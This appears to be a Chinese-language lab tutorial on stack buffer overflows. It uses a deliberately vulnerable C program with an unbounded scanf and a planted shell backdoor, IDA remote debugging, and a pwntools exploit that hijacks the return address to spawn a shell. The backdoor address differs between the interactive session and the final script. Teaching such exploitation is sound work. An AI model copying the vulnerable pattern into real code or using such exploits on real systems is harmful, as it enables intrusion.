温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何理解栈溢出原理以及EXP的编写

发布时间:2021-10-25 17:15:01 来源:亿速云 阅读:117 作者:iii 栏目:编程语言

本篇内容介绍了“如何理解栈溢出原理以及EXP的编写”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

存在栈溢出的代码分析

稍微懂点C和汇编,这个例子人人都能上手,简单说,有手就行。贴出我们本次实验要使用的C代码,解释的方式我都用注释来进行:

//stack_overflow.c
#include <stdio.h>

// 这是存在栈溢出的函数
void stack_overflow()
{
        char buf[64] = {0};
        scanf("%s", &buf); //将输入的数据读入buf中
        printf("Hello %s\n", &buf); //打印出buf中的内容
}

// 为了方便实验这里留下一个后门函数
void get_shell()
{
        system("/bin/sh");
}

// 程序入口
void main()
{
        stack_overflow();
}

分析一下,上边代码存在栈溢出的部分在`scanf()`函数,因为buf是在栈空间中的,buf是分配了64个字节但是却没有限制输入的长度。

如何栈溢出

既然是栈溢出,那么我相信大家都有一定的基础吧,起码了解下什么是栈。首先最重要的是,我们要知道为什么会有栈的存在,这要从函数的发明说起,感兴趣的可以查阅一下wiki。栈的用途之一就是为了存储局部变量,那么上层函数的返回地址也存储在栈中。

第一次调试

代码写好了,我们先来编译运行一下

[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow
[root@localhost pwn]# ./stack_overflow 
stack_overflow
Hello stack_overflow

好,结果简简单单,输入一个字符串,然后输出。那么我们打开宿主机的IDA,把我们编译好的程序拖进IDA,然后在stack_overflow的地方下好断点

如何理解栈溢出原理以及EXP的编写接下来将IDA安装目录的linux_server拷贝到centOS上,运行起来

[root@localhost pwn]# ./linux_server 
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...

到IDA中,选择 "Debugger" --> "Select debugger";然后选”Remote Linux debugger“,点击“OK”;点击“Debugger” --> "Process options...";Hostname填入centOS的IP,Port默认是23946;其他的默认,然后我们按“F9”开始调试

如何理解栈溢出原理以及EXP的编写我们继续往下走,直到输入`AAAAAA`之后

如何理解栈溢出原理以及EXP的编写那么到这里,思路来了,因为上边那个程序没有对输入的长度做校验,对于上边那个程序我们要做的就是计算好输入的长度,然后将后门地址填充到返回的地址,计算一下输入的地址距离buf地址的长度`0xBF8C17BC-0xBF8C1770`等于`0x4C`所以接下来思路就很明确了,我们填充0x4C个字符后,再填入后门的地址。

第二次调试

紧接着第一次调试,这次调试我们使用pwntools接管程序的输入输出。首先,我们在centOS上使用socat将输入输出转发到9999端口:

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

然后我们用pwntools连接下:

➜  ~ python3
Python 3.7.4 (default, Sep  7 2019, 17:46:28)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> io = remote('172.16.177.134', 9999)
[x] Opening connection to 172.16.177.134 on port 9999
[x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134
[+] Opening connection to 172.16.177.134 on port 9999: Done

此时已经连接成功,stack_overflow程序也已经跑起来了;返回IDA,我们在scanf的下一句汇编下好断点;然后选择"Debugger" --> "Attach to process...",选择运行起来的stack_overflow;点击"OK";然后再按下"F9",让程序跑起来

如何理解栈溢出原理以及EXP的编写在Python中,我们继续,发送我们输入的数据,记得要发送一个回车,也可以用sendline()函数,自带回车:

>>> payload = b'A'*0x4c + p32(0x0804848e)
>>> io.send(payload)
>>> io.send('\n')

接下来IDA断下了,我们继续往下步过,到retn,我们发现即将跳转到get_shell()这里。

如何理解栈溢出原理以及EXP的编写接下来我就不一一调试了,感兴趣的同学可以继续往下跟,这里我直接`F9`,然后使用pwntools进入命令行的交互模式,为了让大家有点感觉`:)`,我这里加了一个flag.txt:

>>> io.interactive()
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
ls
flag.txt  linux_server	stack_overflow	stack_overflow.c
cat flag.txt
flag{Y0u_Win_by_ATL_TEAM}

每次调试完完记得io.close(),不然会出现很多stack_overflow的程序。

EXP编写

综合上述,那么EXP应该这样写

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
io = remote('172.16.177.134', 9999)
payload = b'A'*0x4C + p32(0x08048475)
io.sendline(payload)
io.interactive()
io.close()

“如何理解栈溢出原理以及EXP的编写”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站,小编将为大家输出更多高质量的实用文章!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI